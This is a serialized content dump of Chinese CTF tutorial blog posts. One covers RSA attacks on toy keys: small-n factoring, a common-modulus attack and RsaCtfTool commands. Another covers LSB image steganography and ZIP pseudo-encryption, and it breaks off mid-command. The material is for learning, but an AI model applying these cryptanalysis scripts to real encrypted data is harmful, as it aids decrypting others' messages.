n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10814,3477],{},[19,10816,10819],{"className":10817,"code":10818,"language":211,"meta":24},[209],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[26,10820,10818],{"__ignoreMap":24},[15,10822,10823,10824,10827],{},"攻击者只有 ",[26,10825,10826],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10829,10831],{"id":10830},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10833,10834,10836],{},[187,10835,189],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10838,10839,10841],{},[187,10840,255],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[1268,10843,10845],{"id":10844},"_51-用-sympy-分解","5.1 用 sympy 分解",[19,10847,10849],{"className":311,"code":10848,"language":313,"meta":24,"style":24},"from sympy import factorint\n\nprint(factorint(3233))\n",[26,10850,10851,10856,10860],{"__ignoreMap":24},[29,10852,10853],{"class":31,"line":32},[29,10854,10855],{},"from sympy import factorint\n",[29,10857,10858],{"class":31,"line":38},[29,10859,101],{"emptyLinePlaceholder":100},[29,10861,10862],{"class":31,"line":104},[29,10863,10864],{},"print(factorint(3233))\n",[15,10866,3477],{},[19,10868,10871],{"className":10869,"code":10870,"language":211,"meta":24},[209],"{53: 1, 61: 1}\n",[26,10872,10870],{"__ignoreMap":24},[15,10874,10875,10876,389],{},"得到 ",[26,10877,10878],{},"p=53, q=61",[1268,10880,10882],{"id":10881},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,10884,10885,10887],{},[187,10886,255],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[19,10889,10891],{"className":311,"code":10890,"language":313,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[26,10892,10893,10898,10903,10907,10912,10917,10922,10927,10931,10935,10939,10944,10949,10953,10958,10963,10968],{"__ignoreMap":24},[29,10894,10895],{"class":31,"line":32},[29,10896,10897],{},"from Crypto.Util.number import long_to_bytes\n",[29,10899,10900],{"class":31,"line":38},[29,10901,10902],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[29,10904,10905],{"class":31,"line":104},[29,10906,101],{"emptyLinePlaceholder":100},[29,10908,10909],{"class":31,"line":110},[29,10910,10911],{},"n = 3233\n",[29,10913,10914],{"class":31,"line":116},[29,10915,10916],{},"e = 17\n",[29,10918,10919],{"class":31,"line":122},[29,10920,10921],{},"c = 2790\n",[29,10923,10924],{"class":31,"line":128},[29,10925,10926],{},"p, q = 53, 61\n",[29,10928,10929],{"class":31,"line":134},[29,10930,101],{"emptyLinePlaceholder":100},[29,10932,10933],{"class":31,"line":140},[29,10934,10748],{},[29,10936,10937],{"class":31,"line":146},[29,10938,10758],{},[29,10940,10941],{"class":31,"line":367},[29,10942,10943],{},"m = pow(c, d, n)\n",[29,10945,10946],{"class":31,"line":373},[29,10947,10948],{},"# 解密：m = c^d mod n。\n",[29,10950,10951],{"class":31,"line":379},[29,10952,101],{"emptyLinePlaceholder":100},[29,10954,10955],{"class":31,"line":775},[29,10956,10957],{},"print(\"m =\", m)\n",[29,10959,10960],{"class":31,"line":781},[29,10961,10962],{},"print(long_to_bytes(m))\n",[29,10964,10965],{"class":31,"line":786},[29,10966,10967],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[29,10969,10970],{"class":31,"line":2600},[29,10971,10972],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,10974,3477],{},[19,10976,10979],{"className":10977,"code":10978,"language":211,"meta":24},[209],"m = 65\nb'A'\n",[26,10980,10978],{"__ignoreMap":24},[15,10982,10983,10986,10987,10989],{},[26,10984,10985],{},"65"," 对应的 ASCII 字符是 ",[26,10988,259],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[1268,10991,10993],{"id":10992},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,10995,10996,10997,11001],{},"如果 n 太大本地分解不动，去 ",[3545,10998,10999],{"href":10999,"rel":11000},"https://factordb.com",[3549]," 粘贴 n 查询，或：",[19,11003,11005],{"className":311,"code":11004,"language":313,"meta":24,"style":24},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[26,11006,11007,11012,11016,11021,11026],{"__ignoreMap":24},[29,11008,11009],{"class":31,"line":32},[29,11010,11011],{},"from factordb.factordb import FactorDB\n",[29,11013,11014],{"class":31,"line":38},[29,11015,101],{"emptyLinePlaceholder":100},[29,11017,11018],{"class":31,"line":104},[29,11019,11020],{},"f = FactorDB(n)\n",[29,11022,11023],{"class":31,"line":110},[29,11024,11025],{},"f.connect()\n",[29,11027,11028],{"class":31,"line":116},[29,11029,11030],{},"p, q = f.get_factor_list()\n",[10,11032,11034],{"id":11033},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[1268,11036,11038],{"id":11037},"_61-场景","6.1 场景",[15,11040,11041,11042,11044,11045,11048],{},"同一个 ",[26,11043,10656],{},"、两个互质的 ",[26,11046,11047],{},"e1, e2","、同一明文：",[19,11050,11053],{"className":11051,"code":11052,"language":211,"meta":24},[209],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[26,11054,11052],{"__ignoreMap":24},[1268,11056,11058],{"id":11057},"_62-数学原理","6.2 数学原理",[15,11060,11061,11063],{},[187,11062,189],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11065,11066,11068],{},[187,11067,255],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11070,11071,11072,11075],{},"扩展欧几里得算法求出 ",[26,11073,11074],{},"a, b"," 使：",[19,11077,11080],{"className":11078,"code":11079,"language":211,"meta":24},[209],"a × e1 + b × e2 = 1\n",[26,11081,11079],{"__ignoreMap":24},[15,11083,11084],{},"则：",[19,11086,11089],{"className":11087,"code":11088,"language":211,"meta":24},[209],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[26,11090,11088],{"__ignoreMap":24},[1268,11092,11094],{"id":11093},"_63-完整代码","6.3 完整代码",[19,11096,11098],{"className":311,"code":11097,"language":313,"meta":24,"style":24},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[26,11099,11100,11105,11110,11115,11120,11125,11130,11134,11138,11143,11147,11152,11157,11161,11166,11171,11176,11181,11185,11190,11195,11200,11205,11210,11215,11220,11225,11229,11234,11238,11243,11248,11253],{"__ignoreMap":24},[29,11101,11102],{"class":31,"line":32},[29,11103,11104],{},"def egcd(a, b):\n",[29,11106,11107],{"class":31,"line":38},[29,11108,11109],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[29,11111,11112],{"class":31,"line":104},[29,11113,11114],{},"    if b == 0:\n",[29,11116,11117],{"class":31,"line":110},[29,11118,11119],{},"        return a, 1, 0\n",[29,11121,11122],{"class":31,"line":116},[29,11123,11124],{},"    g, x, y = egcd(b, a % b)\n",[29,11126,11127],{"class":31,"line":122},[29,11128,11129],{},"    return g, y, x - (a // b) * y\n",[29,11131,11132],{"class":31,"line":128},[29,11133,101],{"emptyLinePlaceholder":100},[29,11135,11136],{"class":31,"line":134},[29,11137,10911],{},[29,11139,11140],{"class":31,"line":140},[29,11141,11142],{},"e1, e2 = 17, 19\n",[29,11144,11145],{"class":31,"line":146},[29,11146,10772],{},[29,11148,11149],{"class":31,"line":367},[29,11150,11151],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[29,11153,11154],{"class":31,"line":373},[29,11155,11156],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[29,11158,11159],{"class":31,"line":379},[29,11160,101],{"emptyLinePlaceholder":100},[29,11162,11163],{"class":31,"line":775},[29,11164,11165],{},"_, a, b = egcd(e1, e2)\n",[29,11167,11168],{"class":31,"line":781},[29,11169,11170],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[29,11172,11173],{"class":31,"line":786},[29,11174,11175],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[29,11177,11178],{"class":31,"line":2600},[29,11179,11180],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[29,11182,11183],{"class":31,"line":2606},[29,11184,101],{"emptyLinePlaceholder":100},[29,11186,11187],{"class":31,"line":2611},[29,11188,11189],{},"# 负指数要先取模逆元\n",[29,11191,11192],{"class":31,"line":4025},[29,11193,11194],{},"if a \u003C 0:\n",[29,11196,11197],{"class":31,"line":4031},[29,11198,11199],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[29,11201,11202],{"class":31,"line":4037},[29,11203,11204],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[29,11206,11207],{"class":31,"line":4043},[29,11208,11209],{},"else:\n",[29,11211,11212],{"class":31,"line":4049},[29,11213,11214],{},"    c1 = pow(c1, a, n)\n",[29,11216,11217],{"class":31,"line":4813},[29,11218,11219],{},"if b \u003C 0:\n",[29,11221,11222],{"class":31,"line":4818},[29,11223,11224],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[29,11226,11227],{"class":31,"line":4824},[29,11228,11209],{},[29,11230,11231],{"class":31,"line":4830},[29,11232,11233],{},"    c2 = pow(c2, b, n)\n",[29,11235,11236],{"class":31,"line":4835},[29,11237,101],{"emptyLinePlaceholder":100},[29,11239,11240],{"class":31,"line":4841},[29,11241,11242],{},"recovered = (c1 * c2) % n\n",[29,11244,11245],{"class":31,"line":4847},[29,11246,11247],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[29,11249,11250],{"class":31,"line":4853},[29,11251,11252],{},"print(\"恢复 m =\", recovered)\n",[29,11254,11255],{"class":31,"line":4859},[29,11256,11257],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11259,3477],{},[19,11261,11264],{"className":11262,"code":11263,"language":211,"meta":24},[209],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[26,11265,11263],{"__ignoreMap":24},[10,11267,11269],{"id":11268},"七其他常见攻击速查","七、其他常见攻击速查",[455,11271,11272,11282],{},[458,11273,11274],{},[461,11275,11276,11279],{},[464,11277,11278],{},"场景",[464,11280,11281],{},"攻击",[471,11283,11284,11302,11310,11318,11326],{},[461,11285,11286,11295],{},[476,11287,11288,11291,11292],{},[26,11289,11290],{},"e=3"," 且 ",[26,11293,11294],{},"m^e \u003C n",[476,11296,11297,11298,11301],{},"直接开立方根（",[26,11299,11300],{},"gmpy2.iroot(c, 3)","）",[461,11303,11304,11307],{},[476,11305,11306],{},"同一明文发给 3 个不同 n",[476,11308,11309],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[461,11311,11312,11315],{},[476,11313,11314],{},"e 特别大（d 很小）",[476,11316,11317],{},"Wiener 攻击（连分数）",[461,11319,11320,11323],{},[476,11321,11322],{},"p、q 很接近",[476,11324,11325],{},"Fermat 分解（平方差）",[461,11327,11328,11331],{},[476,11329,11330],{},"泄露 dp",[476,11332,11333,11334],{},"枚举 k，",[26,11335,11336],{},"p = (e*dp-1)//k + 1",[10,11338,958],{"id":957},[455,11340,11341,11351],{},[458,11342,11343],{},[461,11344,11345,11347,11349],{},[464,11346,967],{},[464,11348,970],{},[464,11350,973],{},[471,11352,11353,11371,11387],{},[461,11354,11355,11358,11369],{},[476,11356,11357],{},"pycryptodome",[476,11359,11360,933,11363,933,11366],{},[26,11361,11362],{},"long_to_bytes",[26,11364,11365],{},"inverse",[26,11367,11368],{},"pow(m,e,n)",[476,11370,996],{},[461,11372,11373,11376,11382],{},[476,11374,11375],{},"sympy",[476,11377,11378,11381],{},[26,11379,11380],{},"factorint"," 分解",[476,11383,11384],{},[26,11385,11386],{},"factorint(3233)",[461,11388,11389,11392,11395],{},[476,11390,11391],{},"RsaCtfTool",[476,11393,11394],{},"自动尝试多种攻击、从公钥文件读取",[476,11396,11397],{},[26,11398,11399],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11401,11402,11403,11408],{},"FactorDB（",[3545,11404,11407],{"href":11405,"rel":11406},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3549],"https://factordb.com）用于查"," n 的已知分解。",[10,11410,1029],{"id":1028},[15,11412,2229],{},[19,11414,11417],{"className":11415,"code":11416,"language":211,"meta":24},[209],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[26,11418,11416],{"__ignoreMap":24},[15,11420,11421],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[1268,11423,11425],{"id":11424},"第一步分解","第一步：分解",[15,11427,11428,11430],{},[187,11429,255],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[19,11432,11434],{"className":311,"code":11433,"language":313,"meta":24,"style":24},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[26,11435,11436,11440],{"__ignoreMap":24},[29,11437,11438],{"class":31,"line":32},[29,11439,10855],{},[29,11441,11442],{"class":31,"line":38},[29,11443,11444],{},"print(factorint(1000000016000000063))\n",[15,11446,3477],{},[19,11448,11451],{"className":11449,"code":11450,"language":211,"meta":24},[209],"{1000000007: 1, 1000000009: 1}\n",[26,11452,11450],{"__ignoreMap":24},[1268,11454,11456],{"id":11455},"第二步解密","第二步：解密",[15,11458,11459,11461,11462,11465],{},[187,11460,255],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[26,11463,11464],{},"b'flag'"," 说明解密成功。",[19,11467,11469],{"className":311,"code":11468,"language":313,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[26,11470,11471,11475,11479,11484,11489,11494,11499,11503,11507,11511],{"__ignoreMap":24},[29,11472,11473],{"class":31,"line":32},[29,11474,10897],{},[29,11476,11477],{"class":31,"line":38},[29,11478,101],{"emptyLinePlaceholder":100},[29,11480,11481],{"class":31,"line":104},[29,11482,11483],{},"n = 1000000016000000063\n",[29,11485,11486],{"class":31,"line":110},[29,11487,11488],{},"e = 65537\n",[29,11490,11491],{"class":31,"line":116},[29,11492,11493],{},"c = 856868007642616233\n",[29,11495,11496],{"class":31,"line":122},[29,11497,11498],{},"p, q = 1000000007, 1000000009\n",[29,11500,11501],{"class":31,"line":128},[29,11502,101],{"emptyLinePlaceholder":100},[29,11504,11505],{"class":31,"line":134},[29,11506,10748],{},[29,11508,11509],{"class":31,"line":140},[29,11510,10758],{},[29,11512,11513],{"class":31,"line":146},[29,11514,11515],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11517,3477],{},[19,11519,11522],{"className":11520,"code":11521,"language":211,"meta":24},[209],"b'flag'\n",[26,11523,11521],{"__ignoreMap":24},[1268,11525,11527],{"id":11526},"第三步工具验证","第三步：工具验证",[19,11529,11531],{"className":152,"code":11530,"language":154,"meta":24,"style":24},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[26,11532,11533],{"__ignoreMap":24},[29,11534,11535,11538,11540,11543,11545,11548,11551,11554,11557],{"class":31,"line":32},[29,11536,11537],{"class":161},"./RsaCtfTool.py",[29,11539,1358],{"class":165},[29,11541,11542],{"class":165}," 1000000016000000063",[29,11544,4632],{"class":165},[29,11546,11547],{"class":165}," 65537",[29,11549,11550],{"class":165}," --uncipher",[29,11552,11553],{"class":165}," 856868007642616233",[29,11555,11556],{"class":165}," --attack",[29,11558,11559],{"class":169}," all\n",[10,11561,1101],{"id":1100},[15,11563,11564,11565,11568],{},"RSA 解题顺序：",[187,11566,11567],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1114,11570,4291],{},{"title":24,"searchDepth":38,"depth":38,"links":11572},[11573,11574,11575,11576,11577,11578,11579,11580,11581,11582],{"id":10620,"depth":104,"text":10621},{"id":1213,"depth":104,"text":1214},{"id":10684,"depth":104,"text":10685},{"id":10712,"depth":104,"text":10713},{"id":10830,"depth":104,"text":10831},{"id":11033,"depth":104,"text":11034},{"id":11268,"depth":104,"text":11269},{"id":957,"depth":104,"text":958},{"id":1028,"depth":104,"text":1029},{"id":1100,"depth":104,"text":1101},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1132,"image":8686,"alt":11585,"tags":11586,"published":100},"RSA 深入实战",[1136,4306,11587,1138],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10615,"description":11583},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11593,"title":11594,"body":11595,"description":12605,"extension":1130,"meta":12606,"navigation":100,"ogImage":3299,"path":12610,"seo":12611,"stem":12612,"__hash__":12613},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11596,"toc":12595},[11597,11601,11607,11609,11643,11647,11651,11654,11660,11664,11669,11816,11826,11830,11835,11840,11943,11945,11950,11954,11967,11973,11977,11982,11987,11991,11994,12000,12007,12011,12016,12054,12056,12062,12065,12071,12075,12080,12137,12140,12146,12149,12187,12189,12195,12198,12202,12211,12266,12268,12274,12281,12285,12290,12295,12298,12396,12403,12409,12420,12422,12487,12491,12496,12501,12505,12507,12547,12550,12555,12561,12576,12579,12581,12592],[10,11598,11600],{"id":11599},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11602,11603,11604,11606],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[26,11605,4387],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11608,1214],{"id":1213},[19,11610,11612],{"className":152,"code":11611,"language":154,"meta":24,"style":24},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[26,11613,11614,11627,11635],{"__ignoreMap":24},[29,11615,11616,11618,11620,11622,11624],{"class":31,"line":32},[29,11617,1227],{"class":161},[29,11619,1230],{"class":169},[29,11621,1233],{"class":169},[29,11623,1236],{"class":169},[29,11625,11626],{"class":169}," binwalk\n",[29,11628,11629,11631,11633],{"class":31,"line":38},[29,11630,2508],{"class":161},[29,11632,1230],{"class":169},[29,11634,4427],{"class":169},[29,11636,11637,11639,11641],{"class":31,"line":104},[29,11638,5070],{"class":161},[29,11640,1230],{"class":169},[29,11642,5075],{"class":169},[10,11644,11646],{"id":11645},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[1268,11648,11650],{"id":11649},"_31-原理","3.1 原理",[15,11652,11653],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[19,11655,11658],{"className":11656,"code":11657,"language":211,"meta":24},[209],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[26,11659,11657],{"__ignoreMap":24},[1268,11661,11663],{"id":11662},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11665,11666,11668],{},[187,11667,189],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[19,11670,11672],{"className":311,"code":11671,"language":313,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[26,11673,11674,11678,11683,11687,11691,11696,11700,11704,11708,11713,11717,11722,11726,11731,11735,11739,11743,11747,11751,11755,11760,11764,11768,11773,11777,11781,11786,11790,11794,11798,11803,11807,11812],{"__ignoreMap":24},[29,11675,11676],{"class":31,"line":32},[29,11677,4698],{},[29,11679,11680],{"class":31,"line":38},[29,11681,11682],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[29,11684,11685],{"class":31,"line":104},[29,11686,101],{"emptyLinePlaceholder":100},[29,11688,11689],{"class":31,"line":110},[29,11690,4712],{},[29,11692,11693],{"class":31,"line":116},[29,11694,11695],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[29,11697,11698],{"class":31,"line":122},[29,11699,4727],{},[29,11701,11702],{"class":31,"line":128},[29,11703,101],{"emptyLinePlaceholder":100},[29,11705,11706],{"class":31,"line":134},[29,11707,4736],{},[29,11709,11710],{"class":31,"line":140},[29,11711,11712],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[29,11714,11715],{"class":31,"line":146},[29,11716,4751],{},[29,11718,11719],{"class":31,"line":367},[29,11720,11721],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[29,11723,11724],{"class":31,"line":373},[29,11725,4766],{},[29,11727,11728],{"class":31,"line":379},[29,11729,11730],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[29,11732,11733],{"class":31,"line":775},[29,11734,101],{"emptyLinePlaceholder":100},[29,11736,11737],{"class":31,"line":781},[29,11738,4780],{},[29,11740,11741],{"class":31,"line":786},[29,11742,4785],{},[29,11744,11745],{"class":31,"line":2600},[29,11746,4790],{},[29,11748,11749],{"class":31,"line":2606},[29,11750,4795],{},[29,11752,11753],{"class":31,"line":2611},[29,11754,4800],{},[29,11756,11757],{"class":31,"line":4025},[29,11758,11759],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[29,11761,11762],{"class":31,"line":4031},[29,11763,4795],{},[29,11765,11766],{"class":31,"line":4037},[29,11767,4821],{},[29,11769,11770],{"class":31,"line":4043},[29,11771,11772],{},"        # 绿色通道，同样处理。\n",[29,11774,11775],{"class":31,"line":4049},[29,11776,4795],{},[29,11778,11779],{"class":31,"line":4813},[29,11780,4838],{},[29,11782,11783],{"class":31,"line":4818},[29,11784,11785],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[29,11787,11788],{"class":31,"line":4824},[29,11789,4850],{},[29,11791,11792],{"class":31,"line":4830},[29,11793,101],{"emptyLinePlaceholder":100},[29,11795,11796],{"class":31,"line":4835},[29,11797,4867],{},[29,11799,11800],{"class":31,"line":4841},[29,11801,11802],{},"# putdata()：把修改后的像素写回图片。\n",[29,11804,11805],{"class":31,"line":4847},[29,11806,4879],{},[29,11808,11809],{"class":31,"line":4853},[29,11810,11811],{},"# save()：保存为 PNG。\n",[29,11813,11814],{"class":31,"line":4859},[29,11815,4891],{},[15,11817,11818,11820,11821,396,11823,11825],{},[26,11819,4896],{}," 清零最低位（",[26,11822,4900],{},[26,11824,4903],{}," 写入。",[1268,11827,11829],{"id":11828},"_33-提取解题视角","3.3 提取（解题视角）",[15,11831,11832,11834],{},[187,11833,189],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11836,11837,11839],{},[187,11838,255],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[19,11841,11843],{"className":311,"code":11842,"language":313,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[26,11844,11845,11849,11853,11857,11862,11866,11870,11874,11879,11883,11887,11891,11896,11900,11904,11908,11913,11917,11922,11926,11930,11934,11938],{"__ignoreMap":24},[29,11846,11847],{"class":31,"line":32},[29,11848,4698],{},[29,11850,11851],{"class":31,"line":38},[29,11852,101],{"emptyLinePlaceholder":100},[29,11854,11855],{"class":31,"line":104},[29,11856,4936],{},[29,11858,11859],{"class":31,"line":110},[29,11860,11861],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[29,11863,11864],{"class":31,"line":116},[29,11865,4951],{},[29,11867,11868],{"class":31,"line":122},[29,11869,4956],{},[29,11871,11872],{"class":31,"line":128},[29,11873,4961],{},[29,11875,11876],{"class":31,"line":134},[29,11877,11878],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[29,11880,11881],{"class":31,"line":140},[29,11882,101],{"emptyLinePlaceholder":100},[29,11884,11885],{"class":31,"line":146},[29,11886,4980],{},[29,11888,11889],{"class":31,"line":367},[29,11890,4985],{},[29,11892,11893],{"class":31,"line":373},[29,11894,11895],{},"    # 每 8 个比特一组，步长为 8。\n",[29,11897,11898],{"class":31,"line":379},[29,11899,4995],{},[29,11901,11902],{"class":31,"line":775},[29,11903,5000],{},[29,11905,11906],{"class":31,"line":781},[29,11907,5005],{},[29,11909,11910],{"class":31,"line":786},[29,11911,11912],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[29,11914,11915],{"class":31,"line":2600},[29,11916,5020],{},[29,11918,11919],{"class":31,"line":2606},[29,11920,11921],{},"        # 字节 0 是隐藏时追加的结束符。\n",[29,11923,11924],{"class":31,"line":2611},[29,11925,382],{},[29,11927,11928],{"class":31,"line":4025},[29,11929,5034],{},[29,11931,11932],{"class":31,"line":4031},[29,11933,101],{"emptyLinePlaceholder":100},[29,11935,11936],{"class":31,"line":4037},[29,11937,5043],{},[29,11939,11940],{"class":31,"line":4043},[29,11941,11942],{},"# decode()：字节串解码成字符串。\n",[15,11944,3477],{},[19,11946,11948],{"className":11947,"code":5054,"language":211,"meta":24},[209],[26,11949,5054],{"__ignoreMap":24},[1268,11951,11953],{"id":11952},"_34-工具验证","3.4 工具验证",[19,11955,11957],{"className":152,"code":11956,"language":154,"meta":24,"style":24},"zsteg -a 